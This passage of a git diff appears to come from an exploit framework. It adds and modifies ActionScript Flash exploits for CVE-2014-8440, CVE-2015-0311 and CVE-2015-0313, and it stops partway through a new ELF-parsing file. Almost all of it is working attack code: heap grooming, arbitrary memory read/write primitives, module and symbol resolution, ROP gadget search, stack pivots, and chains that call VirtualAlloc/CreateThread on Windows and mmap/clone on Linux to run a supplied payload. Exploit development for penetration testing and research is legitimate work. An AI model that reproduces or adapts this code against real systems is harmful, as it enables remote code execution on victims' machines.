vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it - // anymore - this.uv[0] = 0xfeedbabe - //index = search_uint_vector(0xffffffff, 114) - index = search_uint_vector(0x40000000, 114) - if (index == 0xffffffff) { - return - } - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - final private function initialize_worker_and_ba():Boolean{ - this.ba = new ByteArray() - this.ba.endian = "littleEndian" - this.ba.length = 1024 - this.ba.writeUnsignedInt(0xdeedbeef) - this.ba.position = 0 - - this.shared_ba = new ByteArray() - this.shared_ba.shareable = true - this.shared_ba.endian = Endian.LITTLE_ENDIAN - this.shared_ba.writeUnsignedInt(252536) - this.shared_ba.writeUnsignedInt(16777216) - - this.confuse_length_ba = new ByteArray() - this.confuse_length_ba.length = 0x2000 - this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN - this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) - - this.fake_ba = new ByteArray(); - this.fake_ba.endian = Endian.LITTLE_ENDIAN; - - this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); - return true; - } - - final private function trigger():Boolean{ - // Memory massaging - // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) - this.fill_byte_array_vector(); - // 2. Clear the marked ByteArray - this.hole_ba.clear(); - - // The shared_ba should be left in "shared" state - this.worker.setSharedProperty("fnfre", this.shared_ba) - this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) - this.worker.setSharedProperty("vfhrth", this.shared_ba) - - // fake_ba *data* is going to fill the space freed from the hole - this.fake_ba.length = 0x2000; - this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); - - // Trigger the vulnerability, if the memory layout is good enough - // the (freed) hole_ba metadata will end being the shared_ba metadata... - this.shared_ba.uncompress() - - // So its size should be 0x2000 - if (this.shared_ba.length != 0x2000) - { - return false - } - - // Free the fake_ba and make holes on the ByteArray's - // allocated on massaging. - this.free_fake_and_make_holes() - - // Fill the holes and the fake_ba data space with - // vectors - this.fill_with_vectors() - - // Hopefully the shared_ba metadata, product of the vulnerability - // at this moment point to the vectors in memory =) it means - // game over. - var pwn_test:uint; - this.shared_ba.position = 0; - pwn_test = this.shared_ba.readUnsignedInt(); - - if (pwn_test == 0xBBBBBBBB) - { - return false - } - - return true; - } - - final private function fill_byte_array(local_ba:ByteArray, value:int):void{ - var i:int; - local_ba.position = 0; - i = 0; - while (i < (local_ba.length / 4)) - { - local_ba.writeInt(value); - i++; - }; - local_ba.position = 0; - } - - final private function fill_byte_array_vector():void{ - var i:int; - var local_ba:ByteArray; - this.byte_array_vector = new Vector.(this.byte_array_vector_length) - - i = 0; - - while (i < this.byte_array_vector_length) - { - local_ba = new ByteArray(); - this.byte_array_vector[i] = local_ba; - local_ba.endian = Endian.LITTLE_ENDIAN; - i++; - } - - var hole_index:int = this.byte_array_vector_length * 4 / 5; - if (hole_index % 2 == 0) - { - hole_index++; - } - - for(i = 0; i < this.byte_array_vector_length; i++) - { - local_ba = this.byte_array_vector[i] as ByteArray - local_ba.length = 0x2000 - this.fill_byte_array(local_ba, 0xCCCCCCCC) - local_ba.writeInt(0xbabefac0) - local_ba.writeInt(0xbabefac1) - local_ba.writeInt(i) - local_ba.writeInt(0xbabefac3) - if (i == hole_index) - { - this.hole_ba = local_ba; - } - } - - return; - } - - final private function free_fake_and_make_holes():void { - var i:int - var clear_ba:ByteArray - var hole_index:int = this.byte_array_vector_length * 4 / 5 - - if (hole_index % 2 == 0) - { - hole_index++; - } - - for (i = 0; i < this.byte_array_vector_length; i++) - { - if (i == hole_index) { - this.fake_ba.clear(); - } else { - if (i % 2 == 1) - { - clear_ba = this.byte_array_vector[i] as ByteArray - this.fill_byte_array(clear_ba, 0xDDDDDDDD) - clear_ba.clear() - } - } - } - return - } - - final private function fill_with_vectors():void { - var i:uint; - var uint_vector:Vector.; - var objects:Vector.; - this.object_vector = new Vector.(this.object_vector_length); - - i = 0 - while (i < this.object_vector_length) - { - if (i % 2 == 0) { - this.object_vector[i] = new Vector.() - } else { - this.object_vector[i] = new Vector.() - } - i++ - } - - i = 0 - while (i < this.object_vector_length) - { - if (i % 2 == 0) { - uint_vector = this.object_vector[i] as Vector. - uint_vector.length = 114 - uint_vector[0] = 0xfeedbabe - uint_vector[1] = i - uint_vector[2] = 0xbabeface - } else { - objects = this.object_vector[i] as Vector. - objects.length = 114 - objects[0] = this.ba - objects[1] = i - objects[2] = this - objects[3] = this.stack - objects[4] = this.payload_space - } - i++ - } - } - - // Use the corrupted shared_ba to search and corrupt the uint vector - // Returns the offset to the *length* of the corrupted vector - private function search_uint_vector(old_length:uint, new_length:uint):uint { - this.shared_ba.position = 0 - var i:uint = 0 - var length:uint = 0 - var atom:uint = 0 - var mark_one:uint = 0 - var index:uint = 0 - var mark_two:uint = 0 - while (i < 0x2000) { - length = shared_ba.readUnsignedInt() - if (length == old_length) { - atom = shared_ba.readUnsignedInt() - mark_one = shared_ba.readUnsignedInt() - index = shared_ba.readUnsignedInt() - mark_two = shared_ba.readUnsignedInt() - if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { - shared_ba.position = i - shared_ba.writeUnsignedInt(new_length) - this.corrupted_uv_index = index - return i; - } - i = i + 16 - } - i = i + 4 - } - return 0xffffffff - } - - // Use the corrupted shared_ba to disclose its own address - private function search_ba_address():uint { - var address:uint = 0 - this.shared_ba.position = 0x14 - address = shared_ba.readUnsignedInt() - if (address == 0) { - address = 0xffffffff - this.shared_ba.position = 8 - var next:uint = shared_ba.readUnsignedInt() - var prior:uint = shared_ba.readUnsignedInt() - if (next - prior == 0x8000) { - address = prior + 0x4000 - } - } else { - address = address - 0x30 - } - - return address - } - - // Use the corrupted uint vector to search an vector with - // interesting objects for info leaking - private function search_object_vector():uint { - var i:uint = 0; - while (i < 0x4000){ - if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - this.uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - return this.uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2014-8440/PE.as b/external/source/exploits/CVE-2014-8440/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0311/Exploit.as b/external/source/exploits/CVE-2015-0311/Exploit.as index b414320df7..89a62606e8 100644 --- a/external/source/exploits/CVE-2015-0311/Exploit.as +++ b/external/source/exploits/CVE-2015-0311/Exploit.as @@ -24,14 +24,19 @@ package private var ba:ByteArray = new ByteArray() private var exploiter:Exploiter private var b64:Base64Decoder = new Base64Decoder() - private var payload:String + private var payload:ByteArray private var platform:String + private var os:String public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() // defrag for (var i:uint = 0; i < 10000; i++) new Vector.(0x3e0) @@ -55,7 +60,7 @@ package return // something failed } - exploiter = new Exploiter(this, platform, payload, uv) + exploiter = new Exploiter(this, platform, os, payload, uv) } } diff --git a/external/source/exploits/CVE-2015-0311/ExploitByteArray.as b/external/source/exploits/CVE-2015-0311/ExploitByteArray.as index 0da3b307b4..a8da46df7b 100644 --- a/external/source/exploits/CVE-2015-0311/ExploitByteArray.as +++ b/external/source/exploits/CVE-2015-0311/ExploitByteArray.as @@ -31,7 +31,6 @@ package public function lets_ready():void { - Logger.log("[*] ExploitByteArray - lets_ready()") ba.endian = "littleEndian" if (platform == "linux") { ba.length = 0xffffffff @@ -40,7 +39,6 @@ package public function is_ready():Boolean { - Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) if (ba.length == 0xffffffff) return true @@ -72,10 +70,15 @@ package public function write(addr:uint, value:* = 0, zero:Boolean = true):void { + var i:uint + if (addr) ba.position = addr if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) } else ba.writeUnsignedInt(value) } } diff --git a/external/source/exploits/CVE-2015-0311/Exploiter.as b/external/source/exploits/CVE-2015-0311/Exploiter.as index 3203ad77a9..9975dc8b6e 100644 --- a/external/source/exploits/CVE-2015-0311/Exploiter.as +++ b/external/source/exploits/CVE-2015-0311/Exploiter.as @@ -9,8 +9,9 @@ package private var exploit:Exploit private var ev:ExploitVector private var eba:ExploitByteArray - private var payload:String + private var payload:ByteArray private var platform:String + private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint @@ -23,13 +24,14 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(51200) + private var spray:Vector. = new Vector.(89698) - public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { exploit = exp payload = p platform = pl + op_system = os ev = new ExploitVector(uv) if (!ev.is_ready()) return @@ -133,12 +135,19 @@ package private function do_rop():void { Logger.log("[*] Exploiter - do_rop()") - if (platform == "linux") + if (platform == "linux") { do_rop_linux() - else if (platform == "win") - do_rop_windows() - else + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { return + } } private function do_rop_windows():void @@ -147,11 +156,15 @@ package var pe:PE = new PE(eba) var flash:uint = pe.base(vtable) var winmm:uint = pe.module("winmm.dll", flash) - var kernel32:uint = pe.module("kernel32.dll", winmm) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) - var winexec:uint = pe.procedure("WinExec", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable @@ -169,16 +182,101 @@ package eba.write(0, virtualprotect) // VirtualProtect - eba.write(0, winexec) + eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) eba.write(0, 0x40) eba.write(0, buffer + 0x8) // Writable address (4 bytes) - // WinExec - eba.write(0, buffer + 0x10) + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) - eba.write(0) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) eba.write(main, stack_address + 0x18000) // overwrite with fake vtable exploit.toString() // call method in the fake vtable @@ -192,6 +290,8 @@ package var libc:Elf = new Elf(eba, feof) var popen:uint = libc.symbol("popen") var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) @@ -204,9 +304,21 @@ package // 2) Recover original stack eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + // Put the popen parameters in memory - eba.write(payload_address + 8, 'r', true) // type - eba.write(payload_address + 0xc, payload, true) // command + eba.write(payload_address + 0x8, payload, true) // false // Put the fake stack/vtable on memory eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot @@ -221,13 +333,49 @@ package eba.write(0, buffer) // addr eba.write(0, 0x1000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC - // Return to popen() - eba.write(stack_address + 0x18068, popen) + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) // Return to CoE (fix stack and object vtable) eba.write(0, buffer + 0x10) - // popen() argument - eba.write(0, payload_address + 0xc) - eba.write(0, payload_address + 8) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args //call DWORD PTR [eax+0x24] //EAX: 0x41414141 ('AAAA') diff --git a/external/source/exploits/CVE-2015-0311/Logger.as b/external/source/exploits/CVE-2015-0311/Logger.as index 2d571c10ee..16c0447973 100644 --- a/external/source/exploits/CVE-2015-0311/Logger.as +++ b/external/source/exploits/CVE-2015-0311/Logger.as @@ -7,13 +7,10 @@ package public static function alert(msg:String):void { - if (DEBUG == 0) - return - var str:String = ""; - str += msg; - - trace(str); + + if (DEBUG == 1) + str += msg; if(ExternalInterface.available){ ExternalInterface.call("alert", str); @@ -22,13 +19,10 @@ package public static function log(msg:String):void { - if (DEBUG == 0) - return - var str:String = ""; - str += msg; - - trace(str); + + if (DEBUG == 1) + str += msg; if(ExternalInterface.available){ ExternalInterface.call("console.log", str); diff --git a/external/source/exploits/CVE-2015-0311/PE.as b/external/source/exploits/CVE-2015-0311/PE.as index a80ade9321..8753586477 100644 --- a/external/source/exploits/CVE-2015-0311/PE.as +++ b/external/source/exploits/CVE-2015-0311/PE.as @@ -11,7 +11,6 @@ package public function base(addr:uint):uint { - Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) addr &= 0xffff0000 while (true) { if (eba.read(addr) == 0x00905a4d) return addr @@ -54,10 +53,20 @@ package public function gadget(gadget:String, hint:uint, addr:uint):uint { var find:uint = 0 + var contents:uint = 0 var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break - return addr + i + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() } } } diff --git a/external/source/exploits/CVE-2015-0313/Elf.as b/external/source/exploits/CVE-2015-0313/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = 